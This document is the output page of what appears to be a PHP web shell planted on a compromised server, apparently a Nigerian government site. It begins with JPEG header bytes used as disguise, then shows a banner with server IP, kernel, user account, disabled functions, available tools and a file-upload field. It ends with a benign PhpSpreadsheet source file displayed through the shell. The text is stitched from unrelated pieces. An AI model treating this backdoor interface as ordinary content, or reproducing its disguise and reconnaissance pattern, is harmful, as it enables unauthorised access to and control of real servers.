ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 13.58.243.187 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Ods/ |
Upload File : |
<?php namespace PhpOffice\PhpSpreadsheet\Reader\Ods; use DOMElement; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class DefinedNames extends BaseReader { public function read(DOMElement $workbookData): void { $this->readDefinedRanges($workbookData); $this->readDefinedExpressions($workbookData); } /** * Read any Named Ranges that are defined in this spreadsheet. */ protected function readDefinedRanges(DOMElement $workbookData): void { $namedRanges = $workbookData->getElementsByTagNameNS($this->tableNs, 'named-range'); foreach ($namedRanges as $definedNameElement) { $definedName = $definedNameElement->getAttributeNS($this->tableNs, 'name'); $baseAddress = $definedNameElement->getAttributeNS($this->tableNs, 'base-cell-address'); $range = $definedNameElement->getAttributeNS($this->tableNs, 'cell-range-address'); $baseAddress = $this->convertToExcelAddressValue($baseAddress); $range = $this->convertToExcelAddressValue($range); $this->addDefinedName($baseAddress, $definedName, $range); } } /** * Read any Named Formulae that are defined in this spreadsheet. */ protected function readDefinedExpressions(DOMElement $workbookData): void { $namedExpressions = $workbookData->getElementsByTagNameNS($this->tableNs, 'named-expression'); foreach ($namedExpressions as $definedNameElement) { $definedName = $definedNameElement->getAttributeNS($this->tableNs, 'name'); $baseAddress = $definedNameElement->getAttributeNS($this->tableNs, 'base-cell-address'); $expression = $definedNameElement->getAttributeNS($this->tableNs, 'expression'); $baseAddress = $this->convertToExcelAddressValue($baseAddress); $expression = substr($expression, strpos($expression, ':=') + 1); $expression = $this->convertToExcelFormulaValue($expression); $this->addDefinedName($baseAddress, $definedName, $expression); } } /** * Assess scope and store the Defined Name. */ private function addDefinedName(string $baseAddress, string $definedName, string $value): void { [$sheetReference] = Worksheet::extractSheetTitle($baseAddress, true); $worksheet = $this->spreadsheet->getSheetByName($sheetReference); // Worksheet might still be null if we're only loading selected sheets rather than the full spreadsheet if ($worksheet !== null) { $this->spreadsheet->addDefinedName(DefinedName::createInstance((string) $definedName, $worksheet, $value)); } } }